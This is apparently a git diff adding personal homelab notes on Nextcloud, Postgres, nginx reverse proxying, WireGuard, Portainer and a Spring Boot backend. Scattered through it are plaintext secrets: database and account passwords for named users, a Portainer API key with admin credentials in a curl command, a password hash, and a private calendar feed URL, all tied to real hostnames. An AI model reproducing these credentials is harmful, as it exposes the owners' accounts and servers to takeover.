|
||||
|
||||
`ssh -T -p 222 git@192.168.0.241`
|
||||
|
||||
Check the remote url of the git project.
|
||||
|
||||
`git remote -v`
|
||||
|
||||
Change it to:
|
||||
|
||||
`git remote set-url origin git@`
|
||||
289
Technical/Server/Nextcloud.md
Executable file
@@ -0,0 +1,289 @@
|
||||
---
|
||||
note type:
|
||||
- note
|
||||
- server
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
# The docker file:
|
||||
|
||||
``` bash
|
||||
|
||||
version: '3.8'
|
||||
services:
|
||||
app:
|
||||
image: nextcloud
|
||||
restart: unless-stopped
|
||||
ports:
|
||||
- 8007:80
|
||||
volumes:
|
||||
- nextcloud:/var/www/html
|
||||
environment:
|
||||
- POSTGRES_DB=nextcloud
|
||||
- POSTGRES_USER=nextcloud
|
||||
- POSTGRES_PASSWORD=zxq123_nextcloud
|
||||
- POSTGRES_HOST=postgres
|
||||
networks:
|
||||
- postgres_network
|
||||
|
||||
volumes:
|
||||
nextcloud:
|
||||
|
||||
networks:
|
||||
postgres_network:
|
||||
external: true
|
||||
|
||||
```
|
||||
|
||||
# Database related things:
|
||||
|
||||
``` bash
|
||||
|
||||
zxq_db=# CREATE DATABASE nextcloud;
|
||||
CREATE DATABASE
|
||||
zxq_db=# CREATE USER nextcloud WITH PASSWORD 'zxq123_nextcloud';
|
||||
CREATE ROLE
|
||||
zxq_db=# GRANT ALL PRIVILEGES ON DATABASE nextcloud TO nextcloud;
|
||||
GRANT
|
||||
zxq_db=#
|
||||
|
||||
```
|
||||
|
||||
# Permissions:
|
||||
|
||||
## **Not sure if the below still applies**
|
||||
|
||||
``` bash
|
||||
|
||||
# Add yourself and www-data to a shared group
|
||||
|
||||
### Create a shared group:
|
||||
|
||||
sudo groupadd ncshare
|
||||
|
||||
### Add both users:
|
||||
|
||||
sudo usermod -aG ncshare zaine
|
||||
sudo usermod -aG ncshare www-data
|
||||
|
||||
### Set the folder to that group:
|
||||
|
||||
sudo chown -R zaine:ncshare /home/zaine/master-folder
|
||||
sudo chmod -R 775 /home/zaine/master-folder
|
||||
|
||||
|
||||
```
|
||||
|
||||
## \<2026-03-25 Wed\> fixes:
|
||||
|
||||
Up To Date Fixes:
|
||||
We need to add zaine to the www-data group:
|
||||
|
||||
``` bash
|
||||
sudo usermod -aG www-data zaine
|
||||
```
|
||||
|
||||
Then we need to make the directories setgid, so that any new files created will have the group www-data:
|
||||
|
||||
``` bash
|
||||
sudo chown -R zaine:www-data /home/zaine/master-folder
|
||||
sudo chmod -R 2775 /home/zaine/master-folder # the 2 sets the setgid bit, which means that new files will inherit the group of the directory, which is www-data
|
||||
```
|
||||
|
||||
### Older fixes
|
||||
|
||||
So apparently, nextcloud needs to have www-data as the owner of the files, and to do that, we need to run the following command:
|
||||
|
||||
``` bash
|
||||
sudo chown -R www-data:www-data /home/zaine/master-folder
|
||||
```
|
||||
|
||||
I modified the build scripts to change permissions back to zaine:zaine when deleting the output folder, then changing it back to www-<data:www-data>.
|
||||
|
||||
One other useful thing may be:
|
||||
|
||||
``` bash
|
||||
|
||||
docker exec -u 1000:1000 -it nextcloud-app-1 php occ files:scan --all
|
||||
|
||||
# or
|
||||
|
||||
docker exec -u 1000 nextcloud-app-1 php occ files:scan --path="zaine/files/master-folder"
|
||||
|
||||
```
|
||||
|
||||
One other thing:
|
||||
|
||||
``` bash
|
||||
i FIXED IT BY doing this:
|
||||
|
||||
zaine@zaine-HP-ProDesk-400-G1-SFF [09:47:47] [~/docker-services/nextcloud]
|
||||
-> % docker exec -it postgres psql -U nextcloud -d nextcloud
|
||||
psql (17.5 (Debian 17.5-1.pgdg120+1))
|
||||
Type "help" for help.
|
||||
|
||||
nextcloud=> SELECT * FROM oc_file_locks;
|
||||
nextcloud=> DELETE FROM oc_file_locks;
|
||||
DELETE 15002
|
||||
nextcloud=> \q
|
||||
zaine@zaine-HP-ProDesk-400-G1-SFF [09:49:01] [~/docker-services/nextcloud]
|
||||
-> % docker exec -it nextcloud-app-1 ls /mnt/master-folder
|
||||
alimiyyah attachments booking career hurra.txt org_files pdfs projects uni
|
||||
zaine@zaine-HP-ProDesk-400-G1-SFF [09:49:04] [~/docker-services/nextcloud]
|
||||
-> % docker exec -u 1000 -it nextcloud-app-1 php occ files:scan --all
|
||||
Starting scan for user 1 out of 2 (halima)
|
||||
Starting scan for user 2 out of 2 (zaine)
|
||||
+---------+-------+-----+---------+---------+--------+--------------+
|
||||
| Folders | Files | New | Updated | Removed | Errors | Elapsed time |
|
||||
+---------+-------+-----+---------+---------+--------+--------------+
|
||||
| 1985 | 12906 | 0 | 522 | 0 | 0 | 00:00:50 |
|
||||
+---------+-------+-----+---------+---------+--------+--------------+
|
||||
zaine@zaine-HP-ProDesk-400-G1-SFF [09:49:59] [~/docker-services/nextcloud]
|
||||
-> %
|
||||
|
||||
there is some issue in the nextcloud permissions itself. if i create a file and delete it in windows, i get this error in the client: A
|
||||
master-folder/hehe.txt
|
||||
now
|
||||
The resource you are trying to access is currently locked and cannot be modified. Please try changing it later, or contact your server administrator ...
|
||||
|
||||
and if i try to delete it in nextcloud ui (web), it says file cant be deleted
|
||||
|
||||
```
|
||||
|
||||
# Config
|
||||
|
||||
Location is:
|
||||
|
||||
sudo nano /var/lib/docker/volumes/nextcloud<sub>nextcloud</sub>/<sub>data</sub>/config/config.php
|
||||
|
||||
# Accounts
|
||||
|
||||
User is: zaine
|
||||
Pass: Shakkal123\!
|
||||
|
||||
# Legacy stuff
|
||||
|
||||
Something I've been trying to reverse proxy ahead of time. Go to <https://zserver.zapto.org/nextcloud> , you'll be prompted to login with a username and password:
|
||||
Here's your credentials:
|
||||
|
||||
Username: halima
|
||||
Password: loser2104\!
|
||||
|
||||
Once you've logged in, I've set up your account already, so there should be a calendar already there.
|
||||
|
||||
To get your phone logged in, there's two ways:
|
||||
|
||||
1. go to the following address: <https://zserver.zapto.org/nextcloud/settings/user/security> , scroll to the bottom, under devices and sessions, type in a random name (iphone), and click create new app password. You should then be able to generate a QR code (next to or under the password field), then you can scan that on your iphone app.
|
||||
|
||||
2. inside the app, type the following URL: <https://zserver.zapto.org/nextcloud> then follow the instructions.
|
||||
|
||||
Im thinking of having this as our shared calendar and file system. The only users are us 2 and its completely off the internet (self-hosted).
|
||||
|
||||
## network issues resolved by:
|
||||
|
||||
``` bash
|
||||
|
||||
docker network connect postgres_network postgres
|
||||
|
||||
zaine@zaine-HP-ProDesk-400-G1-SFF [21:00:27] [~/docker-services/nextcloud]
|
||||
-> % psql -h zserver.zapto.org -p 5432 -U zaine -d zxq_db
|
||||
Password for user zaine:
|
||||
psql (14.18 (Ubuntu 14.18-0ubuntu0.22.04.1), server 17.5 (Debian 17.5-1.pgdg120+1))
|
||||
WARNING: psql major version 14, server major version 17.
|
||||
Some psql features might not work.
|
||||
Type "help" for help.
|
||||
|
||||
zxq_db=# \c nextcloud
|
||||
psql (14.18 (Ubuntu 14.18-0ubuntu0.22.04.1), server 17.5 (Debian 17.5-1.pgdg120+1))
|
||||
WARNING: psql major version 14, server major version 17.
|
||||
Some psql features might not work.
|
||||
You are now connected to database "nextcloud" as user "zaine".
|
||||
nextcloud=# GRANT ALL PRIVILEGES ON DATABASE nextcloud TO nextcloud;
|
||||
GRANT
|
||||
nextcloud=# GRANT USAGE ON SCHEMA public TO nextcloud;
|
||||
GRANT CREATE ON SCHEMA public TO nextcloud;
|
||||
GRANT
|
||||
GRANT
|
||||
nextcloud=# GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO nextcloud;
|
||||
GRANT
|
||||
nextcloud=# GRANT ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public TO nextcloud;
|
||||
GRANT
|
||||
nextcloud=#
|
||||
|
||||
zaine
|
||||
M22ZN-fmefj-RdF36-3BMfT-LfWo8
|
||||
|
||||
zaine
|
||||
zxh123!
|
||||
|
||||
```
|
||||
|
||||
## Connecting to IOS
|
||||
|
||||
<https://www.reddit.com/r/NextCloud/comments/1pehpft/calendar_app_for_ios/>
|
||||
|
||||
# ICS stuff:
|
||||
|
||||
## To get the ID of a calendar subscription:
|
||||
|
||||
```
|
||||
zaine@zaine-HP-ProDesk-400-G1-SFF [14:14:27] [~]
|
||||
-> % docker exec nextcloud-app-1 php occ dav:list-subscriptions zaine
|
||||
+-----------------------+-----------------------+----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
||||
| URI | Displayname | Refresh rate | Source |
|
||||
+-----------------------+-----------------------+----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
||||
| outlookoffice365com-1 | outlook.office365.com | PT5M (default) | https://outlook.office365.com/owa/calendar/b910ea835e414663831e505f3d10baa2@microlise.com/d2568a0134fb49af92d39c1669c4729317662288011094411305/calendar.ics |
|
||||
+-----------------------+-----------------------+----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
||||
|
||||
|
||||
```
|
||||
|
||||
## emacs config to sync calendars:
|
||||
|
||||
```
|
||||
(require 'org-caldav)
|
||||
(require 'url)
|
||||
(require 'icalendar)
|
||||
(modify-coding-system-alist 'file "caldav-work\\.org\\'" 'utf-8-unix)
|
||||
(defvar my/outlook-ics-url
|
||||
"https://outlook.office365.com/owa/calendar/b910ea835e414663831e505f3d10baa2@microlise.com/d2568a0134fb49af92d39c1669c4729317662288011094411305/calendar.ics")
|
||||
|
||||
(defvar my/outlook-org-file
|
||||
"D:\\_nextcloud\\master-folder\\org_files\\calendar\\caldav-work.org")
|
||||
|
||||
(defvar my/ics-python-script
|
||||
"D:\\_nextcloud\\master-folder\\org_files\\calendar\\ics_to_org.py")
|
||||
|
||||
(defun my/sync-outlook-calendar ()
|
||||
"Fetch and expand Outlook ICS (including recurrences) into org file."
|
||||
(interactive)
|
||||
(message "Syncing Outlook calendar...")
|
||||
(let* ((cmd (format "python \"%s\" \"%s\" \"%s\""
|
||||
my/ics-python-script
|
||||
my/outlook-ics-url
|
||||
my/outlook-org-file))
|
||||
(result (shell-command-to-string cmd)))
|
||||
(message "Outlook calendar sync: %s" (string-trim result))))
|
||||
|
||||
;; Sync on startup and every 30 minutes
|
||||
(my/sync-outlook-calendar)
|
||||
(run-with-timer (* 30 60) (* 30 60) #'my/sync-outlook-calendar)
|
||||
;; --- CalDAV for native Nextcloud calendars ---
|
||||
(setq org-caldav-url "https://nextcloud.zainezq.com/remote.php/dav/calendars/zaine/")
|
||||
(setq org-caldav-calendars
|
||||
'((:calendar-id "personal"
|
||||
:inbox "D:\\_nextcloud\\master-folder\\org_files\\calendar\\caldav-personal.org"
|
||||
:files nil)
|
||||
(:calendar-id "zxh"
|
||||
:inbox "D:\\_nextcloud\\master-folder\\org_files\\calendar\\caldav-family.org"
|
||||
:files nil)))
|
||||
|
||||
;; --- Agenda files ---
|
||||
(setq org-agenda-files
|
||||
'("D:\\_nextcloud\\master-folder\\org_files\\calendar\\caldav-personal.org"
|
||||
"D:\\_nextcloud\\master-folder\\org_files\\calendar\\caldav-work.org"
|
||||
"D:\\_nextcloud\\master-folder\\org_files\\calendar\\caldav-family.org"
|
||||
"D:\\_nextcloud\\master-folder\\org_files\\org_roam\\Books\\20250724230557-books_org_agenda.org"))
|
||||
|
||||
|
||||
```
|
||||
265
Technical/Server/Old NGINX Code.md
Executable file
@@ -0,0 +1,265 @@
|
||||
---
|
||||
note type:
|
||||
- server
|
||||
- note
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
``` bash
|
||||
|
||||
|
||||
-> % cat /etc/nginx/sites-available/zserver
|
||||
|
||||
|
||||
server {
|
||||
server_name zainezq.com;
|
||||
|
||||
access_log /var/log/nginx/zserver.access.log combined;
|
||||
error_log /var/log/nginx/zserver.error.log warn;
|
||||
# Basic authentication for the entire server
|
||||
auth_basic "Restricted Access";
|
||||
auth_basic_user_file /etc/nginx/.htpasswd;
|
||||
|
||||
# Root location
|
||||
location / {
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_redirect off;
|
||||
|
||||
root /home/zaine/master-folder/org_files/org_web/output;
|
||||
index index.html index.htm;
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
location /nginx_status {
|
||||
stub_status;
|
||||
}
|
||||
|
||||
location /dockge/ {
|
||||
proxy_pass http://127.0.0.1:5021/;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
|
||||
|
||||
location /guac/ {
|
||||
proxy_pass http://127.0.0.1:3003/guacamole/;
|
||||
proxy_http_version 1.1;
|
||||
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection $connection_upgrade;
|
||||
}
|
||||
|
||||
# PGAdmin4 location
|
||||
location /pgadmin4/ {
|
||||
proxy_set_header X-Script-Name /pgadmin4;
|
||||
proxy_set_header Host $host;
|
||||
proxy_pass http://127.0.0.1:5050;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /pdf/ {
|
||||
proxy_pass http://127.0.0.1:8002/pdf/;
|
||||
proxy_set_header X-Script-Name /pdf;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header Host $host;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /calibre {
|
||||
proxy_bind $server_addr;
|
||||
proxy_pass http://127.0.0.1:8083;
|
||||
proxy_set_header Host $http_host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Scheme $scheme;
|
||||
proxy_set_header X-Script-Name /calibre; # IMPORTANT: path has NO trailing slash
|
||||
# This rewrites Calibre-Web's internal paths
|
||||
proxy_redirect off;
|
||||
proxy_http_version 1.1;
|
||||
client_max_body_size 100M;
|
||||
}
|
||||
|
||||
|
||||
location /codeserver/ {
|
||||
proxy_pass http://localhost:8441/;
|
||||
rewrite ^/codeserver(/.*)$ $1 break;
|
||||
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "upgrade";
|
||||
proxy_set_header Accept-Encoding gzip;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
location /filebrowser {
|
||||
# prevents 502 bad gateway error
|
||||
proxy_buffers 8 32k;
|
||||
proxy_buffer_size 64k;
|
||||
|
||||
client_max_body_size 75M;
|
||||
|
||||
# redirect all HTTP traffic to localhost:8088;
|
||||
proxy_pass http://127.0.0.1:9991;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header Host $http_host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
#proxy_set_header X-NginX-Proxy true;
|
||||
|
||||
# enables WS support
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "upgrade";
|
||||
|
||||
proxy_read_timeout 999999999;
|
||||
}
|
||||
|
||||
|
||||
# Miniflux location
|
||||
location /miniflux/ {
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_pass http://127.0.0.1:9433/miniflux/;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
# Jupyter location
|
||||
location /jupyter/ {
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_pass http://127.0.0.1:8888/jupyter/;
|
||||
proxy_redirect off;
|
||||
|
||||
# WebSocket support
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "Upgrade";
|
||||
}
|
||||
|
||||
location /portainer/ {
|
||||
proxy_pass https://localhost:9443/;
|
||||
proxy_ssl_verify off; # Because Portainer uses a self-signed cert by default
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_set_header Authorization "";
|
||||
# Required for WebSocket support
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "upgrade";
|
||||
|
||||
# Rewrite URL base path
|
||||
rewrite ^/portainer(/.*)$ $1 break;
|
||||
}
|
||||
|
||||
location /wireguard/ {
|
||||
proxy_pass http://127.0.0.1:124/;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "Upgrade";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
# Rewrite assets for subpath compatibility
|
||||
proxy_set_header Accept-Encoding "";
|
||||
sub_filter 'href="/' 'href="/wireguard/';
|
||||
sub_filter 'src="/' 'src="/wireguard/';
|
||||
sub_filter_types text/css application/javascript;
|
||||
sub_filter_once off;
|
||||
}
|
||||
|
||||
# /password -> /password/
|
||||
location = /password { return 301 /password/; }
|
||||
|
||||
# Main app/API (disable inherited basic auth here)
|
||||
location ^~ /password/ {
|
||||
auth_basic off;
|
||||
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
# WebSockets
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "upgrade";
|
||||
|
||||
# Keep the /password prefix upstream (NO trailing slash here)
|
||||
proxy_pass http://127.0.0.1:8006;
|
||||
}
|
||||
|
||||
# (Optional but tidy) If you keep a dedicated WS block, disable auth there too
|
||||
location ^~ /password/notifications/hub {
|
||||
auth_basic off;
|
||||
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "upgrade";
|
||||
proxy_set_header Host $host;
|
||||
|
||||
proxy_pass http://127.0.0.1:8006;
|
||||
}
|
||||
|
||||
|
||||
# Optional: Add a custom error page
|
||||
error_page 500 502 503 504 /50x.html;
|
||||
location = /50x.html {
|
||||
root /usr/share/nginx/html;
|
||||
}
|
||||
|
||||
# Optional: Cache static assets for performance (add this new block)
|
||||
# location ~* \.(jpg|jpeg|png|gif|ico|css|js|woff|woff2|ttf|eot|svg|html|htm)$ {
|
||||
# root /home/zaine/master-folder/org_files/org_web/output;
|
||||
# expires 30d;
|
||||
# access_log off;
|
||||
# }
|
||||
|
||||
# Optional: Deny access to hidden files
|
||||
location ~ /\. {
|
||||
deny all;
|
||||
}
|
||||
|
||||
listen 443 ssl; # managed by Certbot
|
||||
ssl_certificate /etc/letsencrypt/live/zainezq.com-0001/fullchain.pem; # managed by Certbot
|
||||
ssl_certificate_key /etc/letsencrypt/live/zainezq.com-0001/privkey.pem; # managed by Certbot
|
||||
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
|
||||
ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
server {
|
||||
if ($host = zserver.zapto.org) {
|
||||
return 301 https://$host$request_uri;
|
||||
} # managed by Certbot
|
||||
|
||||
listen 80;
|
||||
server_name zserver.zapto.org;
|
||||
return 404; # managed by Certbot
|
||||
}
|
||||
|
||||
```
|
||||
70
Technical/Server/Old Nextcloud.md
Executable file
@@ -0,0 +1,70 @@
|
||||
---
|
||||
note type:
|
||||
- server
|
||||
- note
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
# wg
|
||||
|
||||
Shakkal123\!
|
||||
|
||||
docker run ghcr.io/wg-easy/wg-easy:14 node -e 'const bcrypt = require("bcryptjs"); const hash = bcrypt.hashSync("Shakkal123\!", 10); console.log(hash.replace(/\\$/g, "\[\]"));'
|
||||
|
||||
Unable to find image 'ghcr.io/wg-easy/wg-easy:14' locally
|
||||
14: Pulling from wg-easy/wg-easy
|
||||
Digest: sha256:5f26407fd2ede54df76d63304ef184576a6c1bb73f934a58a11abdd852fab549
|
||||
Status: Downloaded newer image for ghcr.io/wg-easy/wg-easy:14
|
||||
|
||||
\[2a\]10$$E1lkGe/IH5EnFrQLhDH2M.yKk3Q7KlgRuu.fzf/76CbWoAMy4G83u
|
||||
|
||||
# nextcloud:
|
||||
|
||||
location ^\~ *nextcloud* {
|
||||
auth<sub>basic</sub> off;
|
||||
|
||||
proxy<sub>pass</sub> <http://localhost:8007/>;
|
||||
proxy<sub>setheader</sub> Host $host;
|
||||
proxy<sub>setheader</sub> X-Real-IP $remote<sub>addr</sub>;
|
||||
proxy<sub>setheader</sub> X-Forwarded-For $proxy<sub>addxforwardedfor</sub>;
|
||||
proxy<sub>setheader</sub> X-Forwarded-Proto $scheme;
|
||||
|
||||
proxy<sub>httpversion</sub> 1.1;
|
||||
proxy<sub>setheader</sub> Upgrade $http<sub>upgrade</sub>;
|
||||
proxy<sub>setheader</sub> Connection "upgrade";
|
||||
|
||||
client<sub>maxbodysize</sub> 512M;
|
||||
client<sub>bodybuffersize</sub> 512k;
|
||||
|
||||
add<sub>header</sub> Referrer-Policy "no-referrer" always;
|
||||
add<sub>header</sub> X-Content-Type-Options "nosniff" always;
|
||||
add<sub>header</sub> X-Frame-Options "SAMEORIGIN" always;
|
||||
add<sub>header</sub> X-XSS-Protection "1; mode=block" always;
|
||||
}
|
||||
|
||||
location ^\~ /.well-known/carddav {
|
||||
return 301 $scheme://$host/nextcloud/remote.php/dav;
|
||||
}
|
||||
|
||||
location ^\~ /.well-known/caldav {
|
||||
return 301 $scheme://$host/nextcloud/remote.php/dav;
|
||||
}
|
||||
|
||||
location ^\~ /.well-known {
|
||||
return 301 $scheme://$host/nextcloud/index.php$uri;
|
||||
}
|
||||
|
||||
# technitium
|
||||
|
||||
location *technitium* {
|
||||
proxy<sub>pass</sub> <http://localhost:5380/>;
|
||||
proxy<sub>httpversion</sub> 1.1;
|
||||
proxy<sub>setheader</sub> Host $host;
|
||||
proxy<sub>setheader</sub> X-Real-IP $remote<sub>addr</sub>;
|
||||
proxy<sub>setheader</sub> X-Forwarded-For $proxy<sub>addxforwardedfor</sub>;
|
||||
proxy<sub>setheader</sub> X-Forwarded-Proto $scheme;
|
||||
|
||||
rewrite ^/technitium/(.\*)$ /$1 break;
|
||||
}
|
||||
|
||||
curl -X GET "<https://zserver.zapto.org/portainer/api/endpoints/3/docker/containers/json?all=true>" -H "X-API-Key: ptr<sub>KFQqKse9K4Nc9M5jnpc61fpAvGzdTOXTzswz9CwOF74</sub>=" -u "admin:shakkal123"
|
||||
102
Technical/Server/Server Backend.md
Executable file
@@ -0,0 +1,102 @@
|
||||
---
|
||||
note type:
|
||||
- note
|
||||
- server
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
# Introduction
|
||||
|
||||
The original backend was written using FastAPI and has now been archived.
|
||||
|
||||
In replacement, I have written a Java Spring Boot backend that handles all of the API calls the domain `zainezq.com` uses.
|
||||
|
||||
Here is the repository for the backend:
|
||||
|
||||
[Link to the backend repository](https://gitea.zainezq.com/zaine/org_backend)
|
||||
|
||||
# Structure
|
||||
|
||||
The backend is structured as a typical Spring Boot application. It consists of several packages that handle different aspects of the application:
|
||||
|
||||
- ****Controllers****: These classes handle incoming HTTP requests and map them to appropriate service methods.
|
||||
- ****Services****: These classes contain the business logic of the application.
|
||||
- ****Repositories****: These classes interact with the database to perform CRUD operations.
|
||||
- ****Models****: These classes represent the data structures used in the application.
|
||||
|
||||
The full list of API endpoints can be viewed using Swagger UI, which is available at the `/swagger-ui.html` endpoint once the application is running.
|
||||
|
||||
# Running the Application
|
||||
|
||||
The application is built using Maven. To run the application, you can utilise the `Makefile` provided in the repository.
|
||||
|
||||
The project is packaged as a Docker container, making it easy to deploy. You can build and run the Docker container using the following commands:
|
||||
|
||||
``` bash
|
||||
|
||||
docker compose build org_backend
|
||||
|
||||
docker compose up -d org_backend
|
||||
|
||||
# Alternatively:
|
||||
docker compose down && docker compose build --no-cache && docker compose up -d
|
||||
|
||||
# To check logs
|
||||
|
||||
docker logs -f org_backend
|
||||
|
||||
```
|
||||
|
||||
# Bruno
|
||||
|
||||
Bruno is used for testing the backend API endpoints. It is a simple HTTP client that allows you to send requests to the backend and view the responses. I used the OpenAPI specification to generate Bruno tests for each endpoint.
|
||||
|
||||
# Authentication
|
||||
|
||||
The backend exposes public `/api/auth/register` and `/api/auth/login` endpoints. The website has a login page only; users are created through the API, then the login page stores the returned JWT in the browser.
|
||||
|
||||
Protected requests include:
|
||||
|
||||
``` text
|
||||
Authorization: Bearer <jwt-token>
|
||||
```
|
||||
|
||||
# Future?
|
||||
|
||||
## Integration with `notes.zainezq.com`
|
||||
|
||||
As the API is primarily used by `zainezq.com`, I want to think of ways that `notes.zainezq.com` could also use it. This website is used to store all my notes, and they are exported using `org-publish` in Emacs. Perhaps I could write an Emacs Lisp package that interacts with the backend API to store and retrieve notes.
|
||||
|
||||
Flow of how a note would be written:
|
||||
|
||||
1. User writes a note in `notes.zainezq.com` as org mode.
|
||||
2. When the note is saved, a POST request is sent to the backend API with the note content.
|
||||
3. The backend API stores the note in the database.
|
||||
4. This will trigger a function that republishes the notes website to include the new note.
|
||||
|
||||
****Need to think more about this.****
|
||||
|
||||
# Update
|
||||
|
||||
The org-backend is no longer hosted using docker, it is now using systemd. The backend is still built using Maven, but it is now deployed as a standalone application rather than a Docker container.
|
||||
|
||||
Here are the commands needed:
|
||||
|
||||
``` bash
|
||||
|
||||
# To build the application
|
||||
mvn clean package -DskipTests
|
||||
|
||||
# To run the application
|
||||
java -jar target/org_backend-1.0.0-SNAPSHOT.jar
|
||||
|
||||
# systemctl commands
|
||||
sudo systemctl start org_backend
|
||||
sudo systemctl stop org_backend
|
||||
sudo systemctl restart org_backend
|
||||
sudo systemctl status org_backend
|
||||
|
||||
# To check logs
|
||||
journalctl -u org_backend -f
|
||||
|
||||
```
|
||||
22
Technical/Server/Server MOC.md
Executable file
@@ -0,0 +1,22 @@
|
||||
---
|
||||
note type:
|
||||
- moc
|
||||
- server
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
- [[Old Nextcloud]]
|
||||
|
||||
- [[Old NGINX Code]]
|
||||
|
||||
- [[Actual (finance)]]
|
||||
|
||||
- [[Server Backend]]
|
||||
|
||||
- [[Nextcloud]]
|
||||
|
||||
- [[Vaultwarden]]
|
||||
|
||||
- [[Cloudflare]]
|
||||
|
||||
- [[Gitea]]
|
||||
16
Technical/Server/Vaultwarden.md
Executable file
@@ -0,0 +1,16 @@
|
||||
---
|
||||
note type:
|
||||
- note
|
||||
- server
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
Just ran into an issue where the IOS app was failing due to the latest version of bitwarden not being installed on the server. To fix this:
|
||||
|
||||
``` bash
|
||||
|
||||
docker compose pull
|
||||
|
||||
docker compose up -d
|
||||
|
||||
```
|
||||
40
Technical/Technical MOC.md
Executable file
@@ -0,0 +1,40 @@
|
||||
---
|
||||
note type:
|
||||
- moc
|
||||
- technical
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
---
|
||||
In this file I want to include technical information (things related to programming, coding and networking etc):
|
||||
|
||||
- [Programming Projects](id:d63abaad-15e8-45d8-aafb-c634164ec0c0)
|
||||
|
||||
- [AOC Notes](id:e7f2302b-16eb-476d-a7b9-be12f077819d)
|
||||
|
||||
- [Web Port Notes](id:348df473-6443-4f4a-b366-95397b574989)
|
||||
|
||||
- [Github Notes](id:ee6047b0-c878-4ec8-a1cf-9daf5c8f5b8e)
|
||||
|
||||
- [Linux MOC](id:bdb493df-db92-4c93-9558-0b10fdff3048)
|
||||
|
||||
- [Database MOC](id:e448cd99-afee-4702-947f-644bb34dc1aa)
|
||||
|
||||
- [Emacs MOC](id:8fa3f476-6152-45f4-b618-50f1e4bce46c)
|
||||
|
||||
- [Networking MOC](id:0880f089-a5ad-49cd-8ce3-f020a5941313)
|
||||
|
||||
- [Leetcode Notes](id:9d1cfccc-8da7-41a3-b435-9857f0abe441)
|
||||
|
||||
- [Haskell Notes](id:347d2663-515b-4d9a-9ee9-7706ee86a845)
|
||||
|
||||
- [C Notes](id:5a207a1c-6f02-40d5-b42e-38daaa0aec10)
|
||||
|
||||
- [Java MOC](id:ae343652-96fe-4341-8a36-ec3a1abd0dc6)
|
||||
|
||||
- [Server MOC](id:f09cb4ed-1407-4187-9002-de2c5db13a8f)
|
||||
|
||||
